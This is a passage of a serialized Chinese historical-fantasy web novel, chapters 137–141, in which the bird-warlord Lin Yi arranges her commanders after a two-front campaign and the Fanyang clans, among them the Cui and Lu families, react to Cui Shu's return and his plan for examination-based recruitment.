弱水郎弱水郎,段凛一直都是很喜欢水的,潜在水里能让他思维变得平静,心态舒缓,就像是回到母亲的怀抱里那样。也许他真的是水生水长的男儿,一身冷白肌肤脱得赤条条入水,夜色下波光粼粼,水顺着脊背线条滑落腰侧、腹肌。水珠几线,绕缠温柔。 那么大的水声,也没有掩盖住一道咽口水的咕噜声。 段凛马上往水里潜去,一只毛茸茸的翅尖马上架住他,“别淹别淹,俺就是路过,你洗你的,俺要走了。” 声音很耳熟,段凛抹了一把眼前的水帘,就对上一张……看起来有些许猥琐的鸟脸,也可能是鸡头,反正这个秃顶的鸟头看起来不怎么好看,让段凛想起……嗯,有个中年秃发的族中长辈来了,他少年时期很担忧这个是家族遗传,好在全族只是那一个秃子。 不过林一真的不猥琐,而且她是很正直的一只鸟,她只是扶起段凛,生怕他溺水一样,看到他在水里站起来了,马上就信守承诺离开了河里,嘎嘎几声就走。 当然了,这几句没人听得懂的鸟话里,那里面的艺术成分有三四层楼那么高,反正这世上没人听得懂嘛,她记得自己刚来时还和江骋那杀人魔王开过鸟语荤腔来着……年少轻狂年少轻狂。 鸟的脚步声逐渐离去,段凛长出了一口气,再次把自己沉进水里。 雪域的水多是雪山化水,即便在最热的夏秋,也透着一股凉意,让他感受到如弱水一般的温柔清冽,只是今日的思维却不像平时那样好沉静下来了。 第138章 在战事的间隙,林一频繁回到雪域,当然不是为了休闲度假,而是搞些人事调动的,如今两线战场的基础将谋配置是:辽东战线韩小六+崔殊,胶东战线呼兰霍兰+王宣。 是的,崔元苏起主要起到一个治理胶东的作用,真要论军事,还得看军师,两边的大将和军师搭配起来效果非常好,好到有时候林一都琢磨她搁战场上除了上阵割草还有啥用。 当然,用处也是有的,林一负责了一下战线全面调动的问题,战场上最大的危机往往是来源于情报的不对等,就像江骋现在搁西河郡打上郡呢,等他听到辽东那边打到右北平郡估计得两三个月时间,而这个时间差足够韩小六把战线推到涿郡,假如江骋这边情报再拉跨一点,过程中偷一个上谷也是有可能的。 从纯军事思维来看,江骋的扩张之路有南下和北上两个方向可以选,在打下上郡之后,他如果进军北地郡或关中三辅,那就皆大欢喜。你往那边走,我打这儿过,但是他如果再回到雁门打代郡,选择打东线,现在林一的势力基本上除了雍西都在东线,胶东辽东为啥都占个东字?那是因为这两块地都是魏朝版图的东边啊。 他要是打完代郡要东出,往上谷渔阳那边去,那就有了一个势力接壤摩擦的大问题了。 所以打的不光是沿途沿郡的时间和情报差,还是这位西北宿敌的情报差,在这样的情况下,林一有时候把崔殊驮着让他更直观地看看前线战场,有时候拎王宣去看辽东战线,而飞都飞了也不差那点事了,于是王澈再一次遭了大难。 嗯,今晚不遭难,因为林一准备明天早上再去叫他,她晚上可还有正事呢。 月色如水般温柔,天气一热,雪域人还是喜欢睡帐子,专指那种宽敞的大帐,回到久违的睡帐里,林一把亲卫们撵得远远的,帘子拉得紧紧的,回头看到苏赫阿那已经放下手里的书卷,起身朝她走过来。 林一冲过去就把他抱起来了,不光抱,还转了一个大圈圈。 苏赫阿那是真的无奈,接连十多天未见了,他手臂都张开了想给他的可敦一个拥抱,而不是被举得双脚离开地面转个圈儿。 他闻见林一身上的淡淡水汽味了,等被放下来,就去取了一张布帕来给她擦,林一咧嘴,“其实一会儿自己就干了,我那边挺顺的,今天没事,回来得有些晚了,在家里睡一觉,明天把王澈拉去辽东把崔殊换了,他想跟着韩小六去前线,后面待不住了。” 苏赫阿那给她擦身上,想了想说道:“恐怕有些为难王先生。” 林一也愁呢,王澈成天瘫在那儿,吃喝拉撒是没什么问题的,但就是不能干活,一拿上案卷文书,那是手也抖了人也蔫巴,干几天就脸色憔悴,干十几天就虚弱得像要准备应聘冥土判官。可是手底下真没什么人可以用,换成别家,也用不上这么些人手,但她地多啊,总不能纯去打仗,不管后方治理吧?她又不放心让脑瓜子不够灵光的人去管理一郡甚至几郡之地。 苏赫阿那想了很久,说道:“或许我可以。” 林一愣了一下,就听苏赫阿那慢慢地说:“雪域的日子很平和,现在管得差不多了,只要没有外敌,现在日子还是过得,让阿铎和忽律共事分管,再加上叶利诃他们,已经够用了。从地图上看,我往涿郡或者渤海,两线居中之地可以坐镇一二,或许雪域和魏地的治理方式不同,但总归我还是有些经验,慢慢习得……” 他说话不急不缓,不是雪域的日子很平和,而是他就像是现在的雪域,平和广袤又和煦,几千几万里的冰封在夏秋季褪去,露出丰美的内在,林一一头扎进去了,呜呜嘎嘎的。 诡计多端的男人,诡计多端的男人! 林一直接把他掀翻在床榻上了,凶狠地扑了上去,这次不是直奔她的温柔乡,而是堵住了那双总是能说出叫她心软软的话的嘴唇,苏赫阿那扶了一下她的腰和腿,免得她整个压上来,那滋味就和熊压身差不多。 有人陪伴的夜晚过得总是非常得快,林一一早上起床,神清气爽,就是苏赫阿那的作息又被打乱了,他在帐子里睡得很沉。 林一其实不打算把王澈带去魏地了,但是还是过去和他通报了一下现在的战线情况,简而言之,沿路各郡,没有一个能打的。 王澈就一言难尽地看着她,没有对手不是很正常吗?魏朝和平安定几百年了,世族就算按照几百年前的惯例还在养部曲,那是为了维系地方势力的。这种本地土霸王欺负欺负平民贱庶黔首而已,怎么打得过成规模成体系的军队?别讲是她了,真要让人家陆行过去,那也是一路横推的,别因为胜得轻松就真不把江东王当回事啊。 军队,披甲成军,没有甲胄那不叫军队,叫流民作乱或者贼寇,所谓万兜鍪就是如此,你手底下有一万个戴着兜鍪的士卒,你是一方势力之主,可以自称一路反王,几千兜鍪也行啊,是一路小反王,而你手里有几万个拿锄头的平民……那你是匪首朱大方。 “回归正题,也就是说,西北这边江骋在迅速扩张,不确定他下一步南下还是北上,江东已经自成格局,各地以郡为单位自立,巴蜀准备效仿江东但还在争权阶段,中原魏土虽然风雨飘摇但还稳得住。现在是各家势力的扩张期,扩到一个极限就得停,比如我们得消化打下来的地盘,放在江骋那边,他靠三郡势力起家,和我们前期一样,每下一地需要留兵镇压,所以他最多吃下六郡之地就无兵可用。而江东被我们阻隔无法北上,必然会去攻打周边,尽力取下徐扬,然后往荆州打。” 林一点头,她就喜欢和王澈聊这些,这是个全才,而且思路清晰,比她清晰,一盘算下来整个局势是很通透的。 王澈又道:“我们从辽东起步,连接到胶东的陆路,是一个沿海长线,如长蛇之局,以后割据是不利的,所以我认为,两军会师之后,至少要打到巨鹿,我们的势力不能是一条首尾细长的蛇。” 他在林一的地图上画红圈,“自右北平起,涿郡渔阳广阳到信都巨鹿一线,回钩济南泰山琅琊一带,再下河间清河,彻底加固防线,呈一个三角状,这才是我们要的割据地盘,上谷不要,此时扩张期,不要动别人肯定不能相让的地盘。” 是的,上谷郡这个位置,幽并咽喉,代北屏藩,燕代锁钥,北防重镇,不管谁在那边,江骋都不可能放着不管的,他放着不管,只能说他可能是在等鱼上钩。 林一其实还蠢蠢欲动来着,毕竟她按住了呼兰部落不要打朔方,也看到江骋的兵力都压在西河那一带了,此时偷个上谷,没准再下代郡……现在一听王澈的分析,她也马上冷静了下来。 所以这趟回到雪域,不仅没有减轻工作量,还被王澈两嘴皮一张增加了更大的负担,打地盘可不是件容易事啊,林一主要是有些吹牛皮的心态,把不怎么困难的战事吹成横推无敌罢了,事实上哪个城好打啊! 但是王澈之所以是王澈,那是因为他说得对,长蛇阵是用兵之人总会顾虑的局面,长蛇地盘就更不可取,是可以被人随便打的,得把长蛇后头加固出龟壳,才是玄武嘛。 不过王澈这次也不是干磨嘴皮子的事,他给了林一四个人,分别是他的跑腿堂哥王澜,和他的跑腿两个堂弟和一个堂侄,也不遮掩,当着四个人的面就说道:“瑕丘王氏已经是过往,他们种过几年地,至少不是那等不把人当人的世家子了,没有大才,守成的郡守之能尔,不放在军事重镇就能用。” 林一非常惊喜,但是又琢磨了一下,压低声音道:“现在我这边,好多好多王姓子弟了……” 是的没错,王修那一家,东莱王氏也服软了,加上王宣,琅琊王氏,现在她好像个专门收王家子的主君啊。 王澈才不管这个,懒洋洋地说:“你也可以给他们改个姓,还姓林也行,澜堂哥,你以后就叫林澜,大侄儿你就叫林……” 林一连忙摆摆手,那就又成了家族生意了,打开军师帐,全是林家人,影响更不好,苦恼啊! 当然,林一其实就差没有把嘴笑歪了,当即一个胳肢窝里夹两个就往外头走,走着走着感觉不对,她昨天好像想准备做啥来着,好像还有人想提拔提拔来着的。 想不起来,是真想不起来,林一挠了挠头,让四个小王往袋子里走。 驮着大牛皮袋子飞上天空的时候,林一看到了底下雪水化的河流,猛然一个翱翔刹车。 美人鱼……呸呸呸,弱水郎又忘带了! 第139章 忘带就忘带了吧,打仗呢,一时半会儿用不上。 林一这边吧,其实不是很缺武将,虽然显得武将好像很稀少……好吧,确实很稀少,但是她自己可以两边跑,再加上少而精,这个问题目前而言并没有被她重视起来。 现在地盘扩张期,双线作战能用上两个大将已经足备,但是段凛可不是攻坚型的武将,而是守将,他守城那段时间林一真是什么法子都想了,围点打援,地道垒石,潜伏卧底,心理战术……然后基本没啥用,她能打下屋兰城,主要是因为把人家存粮耗光了。 这种守城怪放在敌方阵营,林一会大骂机制不公平,但放在自家这里,那可是真正的小心肝大宝贝~ 魏末帝二十四年九月十七,雪域冰封严寒之时,林一把段凛安置在了刚打下的河间郡,同时兼顾清河镇守。这等于是让他一人镇两郡之地,属实是把人才掰开来用了。段凛并不管自己被用在哪里,但是在得知给自己的人手只有两千人时,还是露出了惊愕的神情。 两千士卒,守两个郡?就是把两千人再竖着劈一劈,劈成四千兵,也才勉强能弄一条协防体系吧? 这个林一也没什么办法,兵不是地里长出来的啊,现在的兵源没有依靠雪域那边的补充,当兵要管饭的,辽东那边步入了正轨,这次席卷作战动用青壮三万人,实际上披全甲的兵士不到八千人,剩下的是辅兵,韩小六很努力地玩出了花儿。 而胶东这边更惨,兵源更加混杂,有原先的朝廷守军,也有世族私兵,还有渔民土匪,最近苏起不知道从哪里弄来了一批野生矮人,呜呜渣渣几千人,拿几个细长小铁片就敢出去砍人。据说叫什么倭人,海里头的岛上野长的一些族群,矮是矮的,不过胆子是很大的,也很有培养潜力,最近在给韩小六当先锋营用。 那几个连成片的岛屿林一飞行时也看过,地方很大啦,是辽东半岛的十几倍之多,但是就像辽东半岛多山地一样,这些岛屿同样多山,实际上能用来开荒的地带不多,论使用面积就差得很多了,而且海岛之地,攻之无用,守它为何?纯纯的鸡肋。 林一压根不想把兵力放在这些地方,守住了辽东才是正理。 人手少就少一点吧,段凛要了一些河间郡的税收份额,他准备自己搞一搞招兵买马的事,他在张掖守过居延塞,本身就是一郡之都尉,对流程熟悉得很,如今也不是外来官员可溶于水的时代了,河间……河间这个地名林一其实耳熟,但是没想起来是因为什么耳熟。 她带段凛去看给他留下的人手。 这些人由乌珠骨碌从辽东胶东两军会师之地带来,啊对,两军七日前完成了会师,主力兵压巨鹿,现在连开了好几天庆功宴。韩小六看起来瘦瘦高高的一个小绵羊,喝酒是很能耐的,反而呼兰霍兰一个大高个喝不了几杯,喝多了就往林一怀里蹭,好像他才是那个小绵羊。 总之段凛在见到这两千兵员的时候,马上就松了一口气,也不像先前那样为难了,反而眼前一亮,“全甲一千八百人,另有两千骑兵,好!足够了!” 林一还有些肉疼呢,但是伸手拍了拍段凛的肩膀,“甲胄下个月还会送来五百套,你再招些正兵辅兵,万人以下随你折腾,河间郡很富的,他们的私兵我全部带到巨鹿信都一带去,但是注意没犯过案子的,出手太重影响不好。” 同样出身世族的段凛几乎不用反应都明白林一的意思,点点头。 无兵之世族,菜板上的鱼肉罢了。 清河郡和河间郡的世族非常多,前文已经说过,崔氏起源于姜姓,自先祖崔季子下衍,主要分三支大族,清河崔氏、博陵崔氏和范阳崔氏,三支均位列一品世族之门第,崔殊和崔元崔语就出身范阳崔氏,而清河的崔氏自然也是清河第一大族,此间的崔氏以儒学传家,是北方儒学之巨头。 河间郡望张氏,近五十年来一蹶不振,张氏是将门起家,后传世族,而在河间这么个地方,近五十年来出了一位不世之名将叶朔,也是因为叶朔太能打了,魏朝大大小小的战事只要老爷子干得动,就把人往哪里调,去世前一年,叶朔已经走不了路,双腿浮肿如鱼鳔,但身子骨还算硬朗,被调往武威城镇守雍西,最终病逝武威城。 叶朔起家的时候,叶家已经人口凋零,原本对河间张氏造不成冲击,但是叶朔幼时与河间世族董氏订婚,青年时期上门求娶,虽然被奚落了一通,但女子心许,董氏也没有太在意地许了婚,那姑娘就是曾来雪域做过说客的董停花老夫人。 后来董氏便借着这股强力的东风上了青云,压了张氏一头,几十年间董氏子弟几乎能和邻近的清河崔氏子相提并论,从军有助,入仕有靠,直到老将军病故,这股东风才慢慢停歇下来。 但河间原本的大族张氏也是真的一蹶不振了下来,不是说董家上门物理上把他们锤了个半死啊,而是一郡之中,资源就这么多。董氏子吃了大头,剩下的就连汤也不会给他们剩。如一个名师的入学份额,董氏子占掉,比如一个出名的机会,董氏按住了张氏,抢一个军职,同是一双优秀子弟,然后叶朔看了一眼案卷,提拔了董氏子,撵走了张氏子。 一场场资源争夺失败累积起来的效果是惊人的,张氏这个昔年的累世将门,在林一打下河间时,举族的私兵不到两千之数,而且连一点象征性的反抗都没有,就这么投了。 讲清楚了郡内世族情况,林一又拍了拍段凛的肩膀,“张氏有几个小青年还不错,有一些血性,而且没有什么犯案的情况,这个你不要动,清河崔氏这边枝繁叶茂,蛀虫不少,不要顾及他们的名头,该修就修,该打就打,没关系的,我不看重世族的名头。” 段凛又点点头,说道:“我在河间驻守,清河那里留一支偏师,每月去两次,这位兄弟看起来不错,主君如果不急用,可将他留用做清河偏师都尉。” 他指的是乌珠骨碌。 林一当然不急用了,她甚至不知道乌珠骨碌有啥用,一上了战场比那些倭人还疯,亲卫队长诶!她一回头就找不见人了,忙着骑马与砍杀去了。 于是乌珠骨碌高高兴兴地留了下来,他还是更喜欢带兵,也压根不知道一只皮厚得流矢都射不穿的鸟要亲卫干啥用。 安置下段凛,林一去了一趟范阳,也就是广阳郡那一带,范阳其实原本是个县名来着,但是各地都有自己的小太保,因为范阳世族话语权增多的缘故,现在很多人已经管广阳叫范阳郡了。同样倒反天罡的地方还有很多,像是临淄上级齐郡,但是因为临淄太出名,很多文书案卷里就直接写临淄郡。 范阳这个地名也是很耳熟的东西,废话,你拢共才几个军师,有两个出身范阳,现在其中一个还亲自主持了攻打范阳的军事行动,想不起来才是奇怪。 崔殊自从打下范阳郡后,情绪就一直处在比较活跃的状态,不,活跃已经没法形容他了,他一个人在脑子里组了团。他有一些近乡情怯,也有一点衣绣夜行久了,渴望回去显摆显摆的心思,又很矜持,又想念家人,但是又琢磨琢磨,还是过了家门而不入,跟着韩小六去前线浪了。 目前辽东那边林一放了两个小王,一个守辽东一个守辽西,其实有些承担不过来,加上姜命的师门班底才弄好,等到踏上巨鹿,宣告了这次双线作战的大胜,崔殊是一天都没有在巨鹿待。他本来想点个几千兵马自己衣锦还乡的,然后计算了一下,以三千兵马为例,携带的辎重成本,想了想还是算了,百十个人拉几车粮食轻车简从地回了。 如果是夏季,走水路是很快的,但现在冬天了,车马慢,他人还在路上,林一已经在范阳城等着他了。 被打下来的范阳是真的一如往常,反而比先前还平和不少,韩小六带走了范阳世族的部曲四千之数,没带去巨鹿,留在信都驻守,然后现在驻守范阳的是六千辽西兵,这种缺德带兵法纯是韩小六和崔殊这对缺德将谋在塔塔尔部那边无脑开版图时琢磨出来的法子。 打下一个部落,然后带走这个部落的青壮,让先前被俘虏的部落来接管,被带走的青壮打下第二个部落,就可以接管更大的地盘,这种野人完全无法抵抗的快乐,魏朝人也抵抗不了啊!辽西是个啥子地方嘛,和范阳的富庶能比吗?然后信都的兵也高兴啊,巨鹿可是大郡。 巨鹿的兵去河间和清河,看见那些衣冠楚楚的世族惊惧的模样,也都挺爽的,在老家我是部曲家将,出来了你叫我什么?反正不能还是狗食二流子孬孙了…… 得夸你军爷排场!板正! 第140章 双线作战的路线是这样的。 韩小六处自辽东出发,打下辽西,经右北平,一路推至渔阳广阳(范阳),打到涿郡一带西进取信都,呼兰霍兰这一线从胶东半岛出发,下济南勃海泰山琅琊,经历城过东平,两军最终在巨鹿会师。 不管对哪一方来说都是堪称辉煌的战绩,所以两军的兵士凑在一起也很有话聊,韩小六自己嘴皮子就利索,从前在军中混,可喜欢拉着人吹牛皮,现在都不是吹牛皮而是真的牛皮,他经常和人吹两下子,导致他帐下的兵马都有一些爱炫,上行下效嘛。 而呼兰霍兰这边就物极必反了,呼兰霍兰严格来说并不是沉默寡言,他只是不习惯说废话,常人的寒暄礼节闲聊客套他是没有的,也并不能明白闲下来没事干坐地反反复复说那几件事有什么用处,渐渐地就很少有人和他搭话,尤其是废话,但是背地里,因为平时的距离和战时的凶狠,士卒敬之若神。 这两拨军凑在一处还能聊别的?这个说我家将主用兵如神,那个说我们将军身先士卒,这个说我方攻城如喝水,那个说我们呼兰大将军光膀子上战场揪百十个人头轻轻松松。这个怒了,韩将军虽然瘦猴一只,三千亲卫护身,从来不亲临险境,上次军中大比还被新兵蛋子打得趴地上爬不起来,但是这也不影响他战绩的好吧? 那个冷笑,我们将军战绩差到哪里了?让韩将军双手双脚,拿头都能锤扁他! 很不巧的是,崔殊的回乡护卫拢共百人,其中一半辽东兵,一半胶东兵,他当时主要是觉得新编入军的新兵蛋子有风险,万一给他杀死在路边,抢了辎重可怎么办?这才筛选了一些品行不错的老军士。 这下可好了,大冬天赶着路呢,他坐马车里天天就听两拨人争,男人嘛,凑在一起就是比战力,比战绩,不排出个第一第二来没法心平气和。 马车又晃悠了几天,这才到达范阳境内,范阳崔氏虽然是名门望族,但在范阳这么个地方,最大的郡望可不是崔氏,而是更加有名的范阳卢氏,也是郡守家族,此时崔氏族人聚居之地并不在郡望,而是位于涿郡广阳一带的几个县。 不过崔氏主支的老宅所在地是在涿县的,自从范阳被攻下,当地世族无不人心惶惶,世族的消息一向很灵通,林一在辽东的那些事就不说了,当时魏朝还兴盛,老头以为那是自己女儿呢,强行压下了辽东世族被屠戮一空的事,如今三年不到,很多人其实还记忆犹新,但辽东世族到底隔着一层,很多老牌世族也压根不把辽东世族当成自己人。 让人心惶惶的是胶东东莱之事,林一在这两郡可没少折腾,目前已经打掉十几家世族了,虽然没有像辽东那样一杀一大把,但对世族来说,唇亡齿寒的道理啊,今日是那些胶东世族,明日为什么不会是我呢? 而范阳卢氏,真正的老牌大世族,从范阳被围困之处就联络在各地任职的族人,想要挽救。当然,要是成功了,哪有今天坐着一起开大会,每个世族领头人的脸上都是愁容的风景呢? “林女凶暴蛮横,无君无父之人,贪而不知饱足,必为天象示警之中,所述之七杀暴君也。七杀伤人伤己,其人必定自取灭亡,但难的是,要如何在她自取灭亡前,保全你我性命身家。”一个小族祝家的二房老爷正侃侃而谈着,他向来喜好这些天文地理,玄而又玄的东西。 世族里有人信这个,也有人不信,崔氏家主崔音今年四十有三,面白容秀而无须,崔家子弟都不留须,因为他们家祖传的鲶鱼须须长出来不好看,这也导致崔音四十几岁年纪的人了,坐在诸家主之列中,格外像个年轻人,他面无表情地开口道:“玄学之事暂且搁置,林女如何下场,和死人无关,除非你家方士能隔空咒死她,否则别谈这些无用的。” 祝二老爷也是有话说的,“咒杀之术,只能作用于身弱八字轻的人,林女身负王气,可担群鬼之怨,如何咒得动她。” 主位上卢家主卢要也不由得露出一个头疼的表情,看了一眼祝家主,祝家主呵斥道:“莫要当着诸位长者的面说些荒唐话!退下,回家去!” 祝二老爷只好低下头离开了。 他走之后,祝家主也叹道:“近来方士之说兴盛,每逢时局乱,必有这些幺蛾子,还请诸位长者担待一二。” 这样温言软语就好说话了,崔音叹道:“不怪他,我近来也听了些暴君霸王之说,说甚什么雁门杨氏子乃贪狼之命,霸王格局,林女乃天生暴君,命担百万怨鬼之因果,注定杀人盈野。其实林女这里倒没什么屠杀之事,反倒是那位杨少将军……” 卢家主倒也没忌讳西北那边的事,皱着眉头道:“杨骁本名江骋,江氏之子,认杨无衣为父后崭露头角,曾活埋数千西河贼,后屠戮天水贼数万,他对贼寇无制,对世族还算礼遇有加,崔贤弟家中的阿语如今就在他帐下为辅,年少之人杀伐性重,暴君之名纯属无稽之谈,其实不过是乱世之中,必有严法来制,哪里是一两人能够左右的。” 众人也都叹气,卢家主又道:“如今范阳已失,各家部曲被带走,倒也未禁世族迁徙,前日我将家小族人两百余送至代郡友人处,他那里也能庇佑些许,诸位可有什么想法?” 除了几家小族没人应声,这个时候了,谁还想着送走家眷,何况那代郡就太平吗? 崔音说道:“卢兄啊,我们还是来谈谈和那林女虚与委蛇之事吧,听闻她对世族子弟有些不同的偏好,东莱王氏便是献出了宗子才得以保全,另外琅琊王氏王宣,胶东苏氏苏起等,还听闻她初至胶东时曾于水畔捡到了胶东世族之子弟,迫人家成婚不成,便去灭门,相当狠戾的一个女人啊。” 这是把鸟大王收服下属当成猎艳传了,后头那个是糅合了南约和白小娘的事,当然现在很多人其实还没弄清楚林一和白小娘谁是谁,反正是她亲口说的就是了。崔音说这话当然不是为了举例说明林一有多狠戾,而是委婉提醒卢家主呢。 人家对世家子有偏好!我们范阳世家子里第一流不就是你卢氏吗?至于我崔家子弟……回去就盯着他们蓄胡须!到时候每人两撇鲶鱼须须,这能下得了嘴! 卢要脸色就有些难看了,毕竟大世族,送女孩是有一个婚盟做遮羞布的,实在攀不上的拿自家庶出或族中小支的女儿出来,再不济有养女,然后谦让谦让,这孩子出身低些,只能给您做个妾云云,太原李家就是这么干的。 可那林一,是个有丈夫的女人,有夫之妇在外征战,你去给她送男人,她也不给名分的,那这和做鸭、不是,和做面首有什么区别? 崔音假惺惺地再次提醒道:“她对出身应该挺有要求的,收的要么是宗子,要么是宗子的,辰儿那孩子也大了啊,我崔氏可以牺牲一下,和明娘的婚事可以先解除,专心应对林女为好。” 卢要脸黑了,“辰儿不可能去给人做面首……” 崔音惊奇道:“兄长说什么胡话?我说的是投入林女君帐下啊,您听成什么了?入幕吗?” 林一蹲屋顶听得正嘎嘎乐呢,忽然有崔家子弟匆匆进门,和众人见过礼,小步走到崔音边上说了些什么,崔音愣了愣,马上站起身道:“家中有喜,音先回了,殊儿归家了!” 他只来得及说这么一句就匆匆往外走,留下众人面面相觑。 啊?那个几年前就被魏帝贬到边关,然后失踪,疑似被雪域掳掠走了的崔氏前宗子崔殊,他回来了?太平时候没回来,现在天下战火,他反倒回来了?这是人回来了还是尸骨归乡啊? 当然是活生生的崔殊回来了! 崔氏老宅占地很广,宅邸四面各有大门,进入大宅之中和一个小城区别不大,一个主支的崔氏子弟成家后可以领到一个小宅院,前后屋六间,生几个孩子也住得开,往里走到老宅核心区域,才是真正的大门。崔殊进门后就很自然地在*主位下首的次席坐下,这是宗子的位置,一个大家族开会时,家主在上,其次不管什么人都要在宗子的次席后列坐,这就是家族对继承人的态度。 崔音并不是崔殊的父亲,而是堂伯父,但从小崔殊就跟着他长大,亲若父子一般,他一进门就顾不得礼仪,上去掐住崔殊的腰,上下左右查看,数年未见,还是一样风姿……风姿? 崔音一言难尽地看着崔殊的两撇鲶鱼须须,一个长相非常清俊的青年人,胡须长这个吊样:丿-乁。 崔殊还捋了一下,笑眯眯地道:“北上雪域之后,我就做了一个违背祖宗的决定……” 崔音一把抓住了崔殊的肩膀,对外吼:“来两个人,拿剃刀来!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 140-150 第141章 对于自己的胡子,崔殊可在意了,一手捂住一边,勉强挡住了剃刀,玩归玩,闹归闹,别拿胡子开玩笑。 片刻的玩闹之后,崔音在上首落座,然后先问道:“你如今在林女君帐下做事?” 这是压根不用推理分析就能明白的事,现在故燕之地一大半都落在林一的手里,虽然不禁止世族迁徙,但也不是外人能随意进出的,战后不久崔殊归家,这只能说明他已经有阵营了。 而且……崔音骂道:“我就说,打下范阳哪有那么容易,各地的布防被窥探得一清二楚,这不是出了内鬼还能是什么?” 崔殊摆摆手,“伯父莫夸我,离家几年我也只是试一试,谁能想到范阳一点都没变。” 言归正传,崔音心里定了定,对崔殊没有什么隐瞒地道:“你离开之后,族中另选了宗子,是安黎那孩子,去岁往勃海郡游学去了。天水贼起事时,阿语和阿元结伴游学,阿语去了雁门杨骁帐下,阿元那边没什么消息,如今时局纷乱……” “阿元如今也在主君帐下,胶东那边,安黎要是还在勃海郡,那就和在家一个样。”崔殊笑眯眯地说道。 范阳被攻下之后,世族的消息来源断了不少,如今还能听见上谷代郡那边的消息,但胶东那里,消息就杂了不少,崔音愣了愣,辽东经营两年,能开战很正常,胶东那边地盘怕是还不稳固,也打到勃海郡了? 崔音没提这个,反而惊讶道:“阿元眼光高,杨骁也不曾留下他,如何肯在女子帐下效力?” 至于崔殊如何也肯,崔音还不了解自己带大的孩子?别说一位看起来势头不错的君上,就是叫他遇到天水贼,没被宰掉的话,崔殊也可能只是因为好玩,或者想看看贼寇能走到什么地步而去帮贼,这孩子其实不怎么能和人共情,很缺德的一个东西。 崔殊就道:“伯父啊,阿元何止愿意在女君帐下效力,他比我还肯卖力气,哦对,他改名字了,胶东那边坑杀大批世族的林蛋军师就是他,我可还没对世族子弟动过手。” 崔音很惊讶,当然他惊讶的不是崔元对世族动手,而是崔殊没动过手。 崔殊没在这个问题上深聊下去,捋了捋胡须,笑着说道:“这次我回来,不光为衣锦还乡,还为了弄些人手过去帮忙。” 这是很正常的,因为这世道除了世族,到哪里弄来识字的人呢?前头已经说过,寒门只是败落的世族,并不是和平民百姓站在一边的,崔殊对林一坚持的不解也来源于此,要如何真的破开世家大族的限制呢?但崔殊看着如今打开的局面,尤其里头还有自己努力的一份,失眠了好些天,终于也真正愿意开始为这份事业考量了。 作为崔氏的家主,崔音当然也很高兴,如果范阳没有被攻下,那他现在还有为家族子弟挑一挑明主的余裕,但现在已经成这个狗食样子了,崔殊反而是为家族带来希望的人。 但是崔殊笑眯眯按住了他,说道:“伯父别急,来主君帐下做事是有规矩的,不再是先前那样,世族内部保举,经由郡守推荐了,我为这个选拔制度取名,开科举士。” 倒不能算是闻所未闻,毕竟朝中有一些要职为了体现表面上的公正,也会开科来品评候选人优劣,这就是魏朝中期盛行的九品中正制,后来又复古回了举孝廉。 因为九品中正制最初是为了选择能力优秀而非高门大族的子弟来任官,让小世族也有了出头的机会,这本质上并没有动摇世族根基,而是让世族阶层不明确了。君子之泽要到五世才竭,小世族的强人打破大世族的垄断,后来大世族就开始通过联姻的方式把这些崭露头角的强人拢入门下,不配合的就溶于水,弄得九品中正制名存实亡,后来连名也消去了。 崔殊琢磨的开科举士是建立在九品中正制“选贤”的基础上,用一套相对公平的水准来选拔贤才,不是你世族内部说了算,一个名额想给谁就给谁的时候了。作为搞内部分裂的一把好手,在崔殊插手的这套制度下,他完全可以上下其手,提拔一个世族内部最受排挤的小群体,再打压强势的世族领头人,如果小群体有了大毛病,反手再提拔他在世族内部的仇敌。 这样几通操作下来,世族就不再是铁板一块,而是会诞生出真正愿意和“皇帝”站在一边的“纯臣”,这是在世族垄断知识的基础上,也能打开局面的一个方案,当然,不适用于蠢人,再好的国策也得由聪明人来执行。 这套相对公平的水准,崔殊取名为考试。 考者,验证也,试者,试探也,要全方位考试这个人的能力水平,品行优劣,才能选拔到位。 崔音听后久久无言,一个大世族,像崔氏这样的大世族,又能出几个天才呢?崔殊这是要把各个世族的聪明人都系在考试这一条出路上?倒也不是不行。 “此为王道。”崔音过了很久才开口,“开科举士,这放在王朝都是绝好的国策,但口气太大太大了,不是一方反王可以做到的事情,异人,你如此确信林女君能够做到?” 崔殊笑眯眯,“我不止信她能做到,也是信我自己,信同僚,信这个世道会选出一个好君王,伯父啊,我也信你。” 崔音摆了摆手,“这样族里没几个能通过你考试的人了,我稍后给安黎去一封书信,叫他去胶东寻阿元……” 入夜,崔氏老宅一片宁静祥和的气氛,刚刚得到消息的范阳卢氏主支大宅内却一片灯火通明,家主卢要把安插在崔氏的暗线传来的消息发给众人,底下卢氏族人面面相觑,都很震惊。 “崔殊居然早早就投身林女帐下,他就是新任辽东郡守林直……他居然好意思跟随林女的姓,他还有脸取名为直!” “跟女姓,没准已经是入幕之宾了,崔殊的人品有什么好怀疑的。” “诸位兄长,现在不是激化和崔殊矛盾的时候,现在问题在于,他会不会报复我们卢氏。” “狗食!他凭什么报复咱们?哪回咱们没吃他的亏,要我说,做了他!他的位置我们辰公子也不是做不得。” …… 坐在主位下首的卢辰抬头看了一眼说话那人,脸色不是很好看:我?我去崔殊的位置上?可保不准以崔殊的人品,他的位置是军师还是面首啊! 卢要等众人商议了一会儿,没听见什么有建设性的发言,抬手敲了敲座椅扶手,开口道:“此事,有两条路可走。” 众人都看向他。 卢要对儿子点了点头,卢辰便深吸一口气,沉声说道:“现在不禁世族迁徙,已经有小族外迁落户,自我们范阳北上,扶老携幼前往代郡或者上谷,那里以后必是林杨之间的接壤之地,去了那边只能投雁门杨家。” “其二,投林。林女对世族不甚礼遇,甚至可以说是有意识地在减少世族数量和影响,她起事之初就在辽东将世族屠戮一空,行事和天水贼相差无几,如今踩世族而得民心,气焰滔天……” 他这话其实偏向哪方很清楚了,底下卢氏子弟有想要反驳的,卢辰便补充道:“当然,投林最大的危机不是她有可能对卢氏不利,而是日后族中叔伯兄弟,都要和崔殊共事,与他做同僚乃至下属了。” 卢家主宅大堂顿时变得针落可闻。 半晌,一个年轻些的卢家小辈脸都涨红了,高声喊道:“离乡!离乡!去雁门!” 世族要脸,没什么人跟着他喊,但是心里多半已经有了决定,卢要很满意地点了点头,又道:“虽然不禁世族迁徙,但我卢氏乃范阳名门,举族离乡有可能激怒林女,这样,老五老七,你们带着家小留下,其余分支也全部留下。主支离开,卢氏势力不会太扎眼,你们能生存下来,日后嫡庶两支各自苟全性命于乱世,待天下太平相见自有期。” 嫡系的五房和七房子弟顿时懵了,不是,刚才喊的声最大的就是我们五房子弟啊!七房还嚷了那句崔殊是林女……君的入幕之宾来着,我们不是同一条绳上的蚂蚱嘛? 